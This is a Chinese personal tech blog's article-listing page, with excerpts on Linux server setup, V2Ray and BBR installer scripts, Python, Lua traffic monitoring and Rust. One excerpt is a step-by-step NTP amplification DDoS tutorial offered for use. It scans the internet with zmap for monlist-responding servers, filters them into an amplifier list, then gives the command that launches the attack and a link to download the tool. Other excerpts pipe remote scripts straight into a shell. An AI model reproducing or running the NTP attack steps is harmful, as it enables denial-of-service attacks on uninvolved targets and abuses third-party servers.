首页
站点导航
关于道锋
友情链接
工具
公告栏
推荐
个人主页
站点状态监控
服务状态监控
节点状态监控
文件门户
鳞图图床
Search
1
兽装曲腿制作文档
658 阅读
2
CloudFront CDN配置教程
250 阅读
3
Frpc使用XTCP不通过服务器传输
222 阅读
4
优化你的Typecho禁止F12和查看源码
121 阅读
5
境外服务器的各种线路说明
93 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
Nginx
Apache
Tomcat
登录
Search
标签搜索
源码
开源
教程
服务器
摄影
环境搭建
VS CODE
Rust
rustlang
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
221
篇文章
累计收到
79
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
Nginx
Apache
Tomcat
页面
站点导航
关于道锋
友情链接
工具
公告栏
推荐
个人主页
站点状态监控
服务状态监控
节点状态监控
文件门户
鳞图图床
搜索到
36
篇与
的结果
2023-03-11
部署lamp-php安装指南
部署lamp-php安装指南
2023年03月11日
1 阅读
0 评论
0 点赞
2023-02-25
在FastApi中运行Asyncio子进程导致NotImplementedError错误的解决方法
在FastApi中运行Asyncio子进程导致NotImplementedError错误的解决方法
2023年02月25日
6 阅读
1 评论
0 点赞
2022-04-09
优化你的Typecho禁止F12和查看源码
有很多站长觉得自己的网站常常被一些小学生修改页面,觉得很烦。本文重点讲述一段js让你的网站免除大部分F12调试和右键查看源码。
2022年04月09日
121 阅读
2 评论
1 点赞
2022-04-06
Frpc使用XTCP不通过服务器传输
frp 是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务,支持 tcp, http, https 等协议类型,并且 web 服务支持根据域名进行路由转发。frp 是一款跨平台的内网穿透工具,支持 Windows、macOS 与 Linux,它需要你有一台拥有固定公网 IP 的电脑,VPS 最好,然后就能愉快的进行内网穿透了。还支持 https,甚至可以用它进行小程序开发。
2022年04月06日
222 阅读
0 评论
0 点赞
2021-10-16
BBR一键脚本 BBR/BBR Plus/魔改BBR/锐速(LotServer)四合一
关于BBR Plus,什么是BBR?BBR是Google推出的一套拥塞控制算法,集成在最新的Linux内核中。BBR应用在VPS服务器上,可以明显改善服务器的网络传输速度,减少丢包。而BBR Plus版本,以及魔改版BBR,则是网友在原版BBR的基础上,对一些参数进行改良后的修正版本,比原版BBR有着更为显著的加速效果。至于两个改良版本哪个加速效果更好,大家可以分别安装测试,选取最适合自己的版本。下文会提供各版本的一键安装脚本。BBR Plus版本的优点:修正了原版BBR的以下两项缺点,加速效果更好:在高丢包率环境下容易失速收敛慢BBR Plus版本的不足:脚本仍在完善阶段,在少部分系统中可能会安装失败。由于涉及到内核的修改,部分系统环境下,可能会导致重启无法进入系统。虽然加速效果更好,但是考虑到系统数据安全的话,还是建议大家以试用为主,不要在生产环境下尝试安装BBR Plus。总的来说,BBR作为在Cubic之后提出的拥塞控制算法,它的有很多优点,并且解决了Cubic算法存在的一些问题,但是因为它并非是采用丢包作为拥塞信号,也带来了一些新的问题。BBR的公平性存在问题,它会抢占Cubic算法的带宽(取决于瓶颈缓冲区的大小)BBR的机制会导致高重传率 BBR目前来看,只能说和Cubic更有优劣,两者擅长处理的网络环境并不相同。不过它不采用丢包作为拥塞信号,而是通过自己评估,也许会在其他的环境下取得更好的成绩,比如说和强化学习相结合。BBR Plus一键安装脚本(四合一)本文介绍的BBR Plus一键安装脚本数据源,来自网友cx9208的Github参考,在此感谢一下。除了BBR Plus外,此脚本还另外集成有原版BBR一键安装、魔改BBR一键安装、锐速(lotServer)一键安装,为四合一版本,四个版本可以切换使用。另外,鉴于市面上目前的bbr一键脚本为直接从github获取数据,如果想要在中国大陆内使用的话,难免会遇到大范围的网络波动情况,甚至无法使用。因此在中间介入了反向代理系统,用于向全球范围内提供数据分发能力,也为大陆用户的体验提升了一个档次适用架构:KVM / Xen,不支持OpenVZ(OVZ)。适用系统:CentOS 7、Debian 8、Debian 9、Ubuntu 16.04、Ubuntu 18.04。BBR Plus一键安装脚本使用:1.FinalShell,Xshell,Putty连接VPS服务器,运行如下脚本:wget --no-check-certificate -O tcp.sh https://www.dfql.io/downloads/tcp.sh && chmod +x tcp.sh && ./tcp.sh2.接下来会出现菜单选择界面,如下图所示,我们需要先安装对应的内核,之后再开启加速。以BBR Plus版本为例,输入对应的数字2回车,开始安装内核。3.原有内核卸载完毕,新内核安装成功后,会出现下图提示重启,输入Y回车或直接回车重启:4.重启后再次用Putty连接VPS服务器,运行如下命令重新打开脚本:./tcp.sh5.在脚本菜单选项中,输入数字7回车,开启BBR Plus加速:6.出现下图提示,则表示BBR Plus加速成功开启:7.如果需要安装或切换其它版本的加速,比如原版BBR、魔改BBR、锐速(LotServer)等,那么需要重新进行以上各流程,选择对应版本的内核,内核安装成功后重启系统开启加速。8.最后,可以再次运行脚本,输入10来对系统网络配置进行优化,然后安装提示重启
2021年10月16日
35 阅读
0 评论
0 点赞
2021-10-12
V2Ray 搭建教程以及一键安装脚本
V2Ray 是一个网络转发程序,支持 TCP、mKCP、WebSocket 这3种底层传输协议,支持 HTTP、Socks、Shadowsocks、VMess 这4种内容传输协议(HTTP 只支持传入),并且有完整的 TLS 实现,是一个非常强大的平台。V2Ray 简介官网:https://www.v2ray.comProject VProject V 是一个工具集合,它可以帮助你打造专属的基础通信网络。Project V 的核心工具称为 V2Ray,其主要负责网络协议和功能的实现,与其它 Project V 通信。V2Ray 可以单独运行,也可以和其它工具配合,以提供简便的操作流程。主要特性多入口多出口: 一个 V2Ray 进程可并发支持多个入站和出站协议,每个协议可独立工作。可定制化路由: 入站流量可按配置由不同的出口发出。轻松实现按区域或按域名分流,以达到最优的网络性能。多协议支持: V2Ray 可同时开启多个协议支持,包括 Socks、HTTP、Shadowsocks、VMess 等。每个协议可单独设置传输载体,比如 TCP、mKCP、WebSocket 等。隐蔽性: V2Ray 的节点可以伪装成正常的网站(HTTPS),将其流量与正常的网页流量混淆,以避开第三方干扰。反向代理: 通用的反向代理支持,可实现内网穿透功能。多平台支持: 原生支持所有常见平台,如 Windows、Mac OS、Linux,并已有第三方支持移动平台。安装 V2Ray在开始安装之前,安装一些必要的软件:Ubuntu/Debian 系统: apt-get update -y && apt-get install curl -yCentOS 系统: yum update -y && yum install curl -y为了简化安装,我们使用一键安装脚本,使用现成的一键安装脚本,使用 root 用户输入下面命令安装:bash <(curl -s -L https://git.io/v2ray.sh)然后选择安装,即是输入 1 回车选择传输协议,如果没有特别的需求,使用默认的 TCP 传输协议即可,直接回车选择端口,如果没有特别的需求,使用默认的端口即可,直接回车是否屏蔽广告,除非你真的需要,一般来说,直接回车即可是否配置 Shadowsocks ,如果不需要就直接回车,否则就输入 Y 回车Shadowsocks 端口,密码,加密方式这些东西自己看情况配置即可,一般全部直接回车。。OK,按回车继续最后安装完成后会提示安装信息,建议记录下。V2Ray 高级玩法快速管理 V2Rayv2ray info:查看 V2Ray 配置信息v2ray config:修改 V2Ray 配置v2ray link:生成 V2Ray 配置文件链接v2ray infolink:生成 V2Ray 配置信息链接v2ray qr:生成 V2Ray 配置二维码链接v2ray ss:修改 Shadowsocks 配置v2ray ssinfo:查看 Shadowsocks 配置信息v2ray ssqr:生成 Shadowsocks 配置二维码链接v2ray status:查看 V2Ray 运行状态v2ray start:启动 V2Rayv2ray stop:停止 V2Rayv2ray restart重启 V2Rayv2ray log:查看 V2Ray 运行日志v2ray update:更新 V2Rayv2ray update.sh:更新 V2Ray 管理脚本v2ray uninstall:卸载 V2RayTCP 阻断如果觉得机器出现了这种情况,那么可以尝试使用 UDP 协议相关的 mKCP。如果使用了一键脚本,直接输入 v2ray config 然后选择修改 V2Ray 传输协议,之后再选择 mKCP 相关的就行备注:使用 mKCP 或许还可以提高速度,但由于 UDP 的原因也许会被运营商 Qos,这是无解的。WebSocket + TLS实现 WebSocket + TLS 很简单,前提是要拥有一个能正常解析的域名 (并且知道怎么解析域名)服务器输入 v2ray config 回车,然后选择 修改 V2Ray 传输协议,再选择 WebSocket + TLS,即是输入 4,接着输入你的域名,总之按照提示进行操作就可以了HTTP/2实现 HTTP/2 (h2) 也很简单,和 WebSocket + TLS 一样,也就是只要一个域名就够了。服务器输入 v2ray config 回车,然后选择 修改 V2Ray 传输协议,再选择 HTTP/2,即是输入 16,然后参考上面的 WebSocket + TLS 的相关,或者按照提示即可。HTTP/2 相比 WS + TLS (WebSocket + TLS),在浏览网页时有一些优势,其他速度是差不多mKCPmKCP 其实就是 KCP 协议,一般能提速,但是不保证都能提速,还能避免 TCP 阻断,但是也可以会被运营商 Qos.使用方法:服务器输入 v2ray config 回车,然后选择 修改 V2Ray 传输协议,之后再选择 mKCP 相关的就行
2021年10月12日
52 阅读
0 评论
0 点赞
2021-10-07
NTP放大反射攻击扫描列表教程
1.升级所有包,改变软件设置和系统设置,系统版本内核都升级yum -y update2.下载rpm包(区分centos6 与centos7 执行不同的命令)centos6:wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm sudo rpm -Uvh epel-release-6-8.noarch.rpmcentos7:wget http://mirror.centos.org/centos/7/extras/x86_64/Packages/epel-release-7-11.noarch.rpm sudo rpm -Uvh epel-release-7-11.noarch.rpm3.安装必要的依赖环境yum install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c zmap --------------------------------------------扫描过滤列表-----------------------------------------------4.安装Zmapwget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz tar -zxvf v1.0.3.tar.gz cd /root/zmap-1.0.3 cd src/ make make install如果前一步ZMap已经安装完成,可以跳过步骤4:zmap -p 80 -N 10 -B 1M -o - #很快,程序会输出10个Internet上打开了80端口的主机的IP,你也可以换成22端口23端口试试。具体的用法可以参考ZMap官方文档。5.开始扫描NTP放大列表screen zmap -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o monlist_fingerprint.txt 如果在扫描时,你与服务器的会话不小心中断。 你可以重新连接服务器。 使用命令screen -r回到会话。 screen是将程序独立运行在后台,直到执行完成。6.过滤列表chmod 777 ntpchecker #添加权限 screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1 #运行检查 awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt #过滤列表--------------------------------------------放大攻击-----------------------------------------------7.攻击命令chmod 777 ntp #赋予权限 ./ntp 127.0.0.1 80 ntpamp.txt 100 -1 100 下载库:ntp_2下载
2021年10月07日
71 阅读
0 评论
0 点赞
2021-09-16
使用python将多份pdf文件合并
为了搞定这件事情,没少百度,下载了软件,或者使用在线工具,折腾很久才能搞定。刚想使用WPS来合并,结果给我弹出这样的:怎么可能有那闲钱开通哪不过,想起来python有这样一个库,倒是可以帮忙实现这样的需求。于是抱着开源以及能省就省的精神,使用 PyPDF2 这个写了一个简短的小脚本PyPDF2 是一个功能虽然不是很多,但却非常好用的第三方库,它提供了pdf文件的读写,拆分,合并等功能,使用pip命令进行安装pip3 install PyPDF2示例代码如下,会在当前运行目录下寻找pdf后缀的文件来合并,建议使用的时候新建一个文件夹并且将文件用序号命名顺序。import os from PyPDF2 import PdfFileMerger target_path = os.getcwd() pdf_lst = [f for f in os.listdir(target_path) if f.endswith('.pdf')] pdf_lst = [os.path.join(target_path, filename) for filename in pdf_lst] print(pdf_lst) file_merger = PdfFileMerger() for pdf in pdf_lst: file_merger.append(pdf) # 合并pdf文件 file_merger.write("merge.pdf")1.使用os.listdir方法获取制定目录下的所有pdf文件名称2.使用os.path.join方法拼接成绝对路径3.创建PdfFileMerger对象,这是专门用来合并pdf文件的4.对象将所有文件append5.最后,使用write方法将所有pdf文件写入到一个文件
2021年09月16日
23 阅读
0 评论
0 点赞
2021-09-10
一张图带你看懂开源协议
通过一张简图带你了解各大开源协议间的关系
2021年09月10日
18 阅读
0 评论
0 点赞
2021-08-29
nonebot2如何获取消息内图片
研究半天无果,群内一位大佬提供解决方法:images = [d.data["url"] for d in event.get_message() if d.type == "image"]通过迭代消息对象,判断是否为图片消息,然后返回一个由图片url组成的数组event上报:感谢这位老哥提供的方法
2021年08月29日
8 阅读
0 评论
0 点赞
2021-07-05
Nginx+Lua实现Websocket实时网卡流量推送
首先我们先了解一下Linux系统获取网络流量的几种方法1.基于sysfs虚拟文件系统,这是由内核用来将设备或驱动相关的信息输出到用户空间的一种机制。网络接口的相关分析数据会通过“/sys/class/net/<ethX>/statistics”输出。加之Linux提供了LKM机制可以使我们在内核空间工作,在LKM机制中一个重要的组成部分就是proc伪文件系统,它为用户提供了动态操作Linux内核信息的接口,是除系统调用之外另一个重要的Linux内核空间与用户空间交换数据的途径。如:/sys/class/net/eth0/statistics/rx_packets: 收到的数据包数据/sys/class/net/eth0/statistics/tx_packets: 传输的数据包数量/sys/class/net/eth0/statistics/rx_bytes: 接收的字节数/sys/class/net/eth0/statistics/tx_bytes: 传输的字节数/sys/class/net/eth0/statistics/rx_dropped: 当收到包数据包下降的数据量/sys/class/net/eth0/statistics/tx_dropped: 传输包数据包下降的数据量2.sarsar命令包含在sysstat工具包中,提供系统的众多统计数据。其在不同的系统上命令有些差异,某些系统提供的sar支持基于网络接口的数据统计,也可以查看设备上每秒收发包的个数和流量。3./proc/net/dev本文使用的是方法1,即为通过定时读取/sys/class/net/eth0/statistics/xxx文件的内容,来进行计算,获取最终的网络带宽使用lua 的io库进行读文件操作file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" )获得秒初的网络数据包数量进而通过ngx.sleep进行非阻塞的等待一秒后再次读取文件中的数据包数量ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" )这样,获得了秒末的数据包数量将秒末的数据包数量减去秒初的数据包数量。即为秒内的网络流动数据包数量因为每个数据大小为8个字节,因此,得出的结果*8就是每秒字节数,进而可以通过多次除去1024得道千字节数,兆字节数等local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 --and --tx = tx/1024/1024 --mbps --rx = rx/1024/1024 --mbps--核心代码实现 function read_network(types) file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" ) ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" ) local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 mb = {time=ngx.now()} if (types == 1) then if (rx<10000) then mb["rx"]=rx mb["rx_mode"]="bps" elseif(rx<10000000) then rx = rx/1024 mb["rx"]=rx mb["rx_mode"]="Kbps" elseif(rx<10000000000) then rx = rx/1024/1024 mb["rx"]=rx mb["rx_mode"]="Mbps" elseif(rx<10000000000000) then rx = rx/1024/1024/1024 mb["rx"]=rx mb["rx_mode"]="Gbps" end if (tx<10000) then mb["tx"]=tx mb["tx_mode"]="bps" elseif(tx<10000000) then tx = tx/1024 mb["tx"]=tx mb["tx_mode"]="Kbps" elseif(tx<10000000000) then tx = tx/1024/1024 mb["tx"]=tx mb["tx_mode"]="Mbps" elseif(tx<10000000000000) then tx = tx/1024/1024/1024 mb["tx"]=tx mb["tx_mode"]="Gbps" end elseif(types == 2) then mb["tx"]=tx/1024/1024 mb["tx_mode"]="Mbps" mb["rx"]=rx/1024/1024 mb["rx_mode"]="Mbps" else mb["tx"]=tx mb["tx_mode"]="bps" mb["rx"]=rx mb["rx_mode"]="bps" end file_rx :close() file_tx :close() return mb end因为将要使用websocket进行实时的数据传输,我们需要安装支持resty.websocket的扩展库,openresty用户默认就有,非openresty用户可前往https://github.com/openresty/lua-resty-websocket安装库安装过程可参考https://www.cnblogs.com/scotoma/p/3330190.htmlwebsocket相关代码local server = require "resty.websocket.server" local wb, err = server:new{ timeout = 50000, -- in milliseconds max_payload_len = 6553500, } if not wb then ngx.log(ngx.ERR, "failed to new websocket: ", err) return ngx.exit(444) end bytes, err = wb:send_text(json.encode({Msg="Connect OK,Service will traceback the traffic data soon",code = "OK"})) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end while (1) do bytes, err = wb:send_text(json.encode(read_network(types,pod))) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end end全部完整代码json = require "cjson" ngx.update_time() local server = require "resty.websocket.server" local wb, err = server:new{ timeout = 50000, -- in milliseconds max_payload_len = 6553500, } if not wb then ngx.log(ngx.ERR, "failed to new websocket: ", err) return ngx.exit(444) end function read_network(types) file_rx = io. open ( "/sys/class/net/eth0/statistics/rx_bytes" , "r" ) file_tx = io. open ( "/sys/class/net/eth0/statistics/tx_bytes" , "r" ) local tx1 = file_tx : read ( "*l" ) local rx1 = file_rx : read ( "*l" ) ngx.sleep (1) file_rx :seek( "set" ) file_tx :seek( "set" ) local tx2 = file_tx : read ( "*l" ) local rx2 = file_rx : read ( "*l" ) local tx = (tx2-tx1)*8 local rx = (rx2-rx1)*8 mb = {time=ngx.now()} if (types == 1) then if (rx<10000) then mb["rx"]=rx mb["rx_mode"]="bps" elseif(rx<10000000) then rx = rx/1024 mb["rx"]=rx mb["rx_mode"]="Kbps" elseif(rx<10000000000) then rx = rx/1024/1024 mb["rx"]=rx mb["rx_mode"]="Mbps" elseif(rx<10000000000000) then rx = rx/1024/1024/1024 mb["rx"]=rx mb["rx_mode"]="Gbps" end if (tx<10000) then mb["tx"]=tx mb["tx_mode"]="bps" elseif(tx<10000000) then tx = tx/1024 mb["tx"]=tx mb["tx_mode"]="Kbps" elseif(tx<10000000000) then tx = tx/1024/1024 mb["tx"]=tx mb["tx_mode"]="Mbps" elseif(tx<10000000000000) then tx = tx/1024/1024/1024 mb["tx"]=tx mb["tx_mode"]="Gbps" end elseif(types == 2) then mb["tx"]=tx/1024/1024 mb["tx_mode"]="Mbps" mb["rx"]=rx/1024/1024 mb["rx_mode"]="Mbps" else mb["tx"]=tx mb["tx_mode"]="bps" mb["rx"]=rx mb["rx_mode"]="bps" end file_rx :close() file_tx :close() return mb end local types = tonumber(ngx.var.arg_types) or 0 local pod = ngx.var.arg_pod or "tx" bytes, err = wb:send_text(json.encode({Msg="Connect OK,Service will traceback the traffic data soon",code = "OK"})) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end while (1) do bytes, err = wb:send_text(json.encode(read_network(types,pod))) if not bytes then ngx.log(ngx.ERR, "failed to send a text frame: ", err) end end详细项目地址https://gitee.com/daofengql/lua-websocket-real-time-network-traffic到此,lua部分已经编写完毕,接下来就要在nginx中配置配置文件来接入路由样例conflocation / { #路由名称具实际修改 #lua_code_cache off; default_type text/html; add_header 'Access-Control-Allow-Origin' *; content_by_lua_file /data/traffic.lua;#文件存放地址更具实际修改 } 配置完成后,如果不出意外,重载NGINX之后,可以使用在线websocket测试,测试服务推送出去,客户端收到的是json字符,可以再对其转化为字典对象等可以进一步将项目仓库内的html目录下的页面进行适当的修改和部署计数器核心功能代码<script language="JavaScript"> $(function () { var chart; var previous = null; var chart; // global var pointx = null; var ip = "180.188.16.147"; $(window).load(function () { initiateChart("L4dstat"); //parseFile(); }); var server = 'wss://ws.jcdpn.cn/?types=2'; var ws = new WebSocket(server); var temp_arr = [0.1]; var max_bps = 0.1; ws.onclose = function () { reconnect(service); }; ws.onmessage = function (evt) { data = JSON.parse(evt.data); temp_arr.push(data.rx); max_bps = Math.max.apply(null, temp_arr); temp_arr = [0.1]; var series = chart.series[0], shift = series.data.length > 20; chart.series[0].addPoint([Math.floor($.now()), max_bps], true, shift); max_bps = 0.1; }; function initiateChart(divid) { var options = { plotOptions: { series: { events: { legendItemClick: function (event) { event.preventDefault(); } } } }, chart: { zoomType: '', renderTo: divid, style: { fontFamily: "'Unica One', sans-serif" }, //plotBorderColor: '#606063' backgroundColor: '#e2e3e5', }, //title:{ // text: null // }, title: { text: '» '+ip+'核心流量计数器 «', }, xAxis: { type: 'datetime', dateTimeLabelFormats: { day: '%a' } }, yAxis: { minPadding: 0.2, maxPadding: 0.2, title: { text: 'Mb/秒', margin: 80 } }, credits: { enabled: false }, series: [{ type: 'area', //shadowSize: 0, name: 'Mbps/秒', color: '#164791', data: [] }] }; chart = new Highcharts.Chart(options); } }); </script>例如将默认的socket地址改成自己的流量计数器默认使用的单位为mbps,其他单位还需要自己修改和换算流量计数器使用highcharts.js来进行表格绘制效果
2021年07月05日
15 阅读
0 评论
0 点赞
2021-07-03
Rust 环境搭建
1.社区https://www.rust-lang.org/2.环境安装前往前面的社区中选择 GET STARTED后面的开发环境均基于Windows系统,我们下载Windows版本,32位和64位选择下载点击后下载一个文件如果下载较慢可使用本站资源地址:点击下载直接运行回车即可或者可以输入2来自定义安装安装完之后看看 版本,确定下是否安装成功了rustc --version若返回版本号,则基本上确定安装完成可以进行一次的更新:rustup update已经是最新版三、搭建 Visual Studio Code 开发环境首先,需要安装Visual Studio Code下载地址:Visual Studio Code:https://code.visualstudio.com/Download选择适合的版本下载安装如果下载较慢也可使用本站资源分发地址(64位x86平台):点击下载下载完 Visual Studio Code 安装包之后启动安装向导安装(此步骤不在此赘述)。安装完 Visual Studio Code (下文简称 VSCode)之后运行 VSCode。这个VS Code已经安装了Chinese语言包可以Ctrl+Shift+P来打开搜索栏。输入configure language选择安装其他语言搜索中文简体后安装语言包,然后会提示重启软件同样的,前往应用商店查询rls 和 Native Debug 两个扩展来安装安装完成后重新启动一下VsCode然后找个合适的地方,创建一个项目文件夹,来测试一下在 VSCode 中打开新建的文件夹:然后新建一个终端步骤:终端-》新建终端-》在终端中输入命令:cargo new greeting 当前文件下下会构建一个名叫 greeting 的 Rust 工程目录现在在终端里输入以下三个命令:cd ./greeting #进入目录 cargo build #构建代码 cargo run #运行这个编译的二进制Debug文件也可以在目录下找到到此,环境安装完成
2021年07月03日
13 阅读
0 评论
0 点赞
1
2
3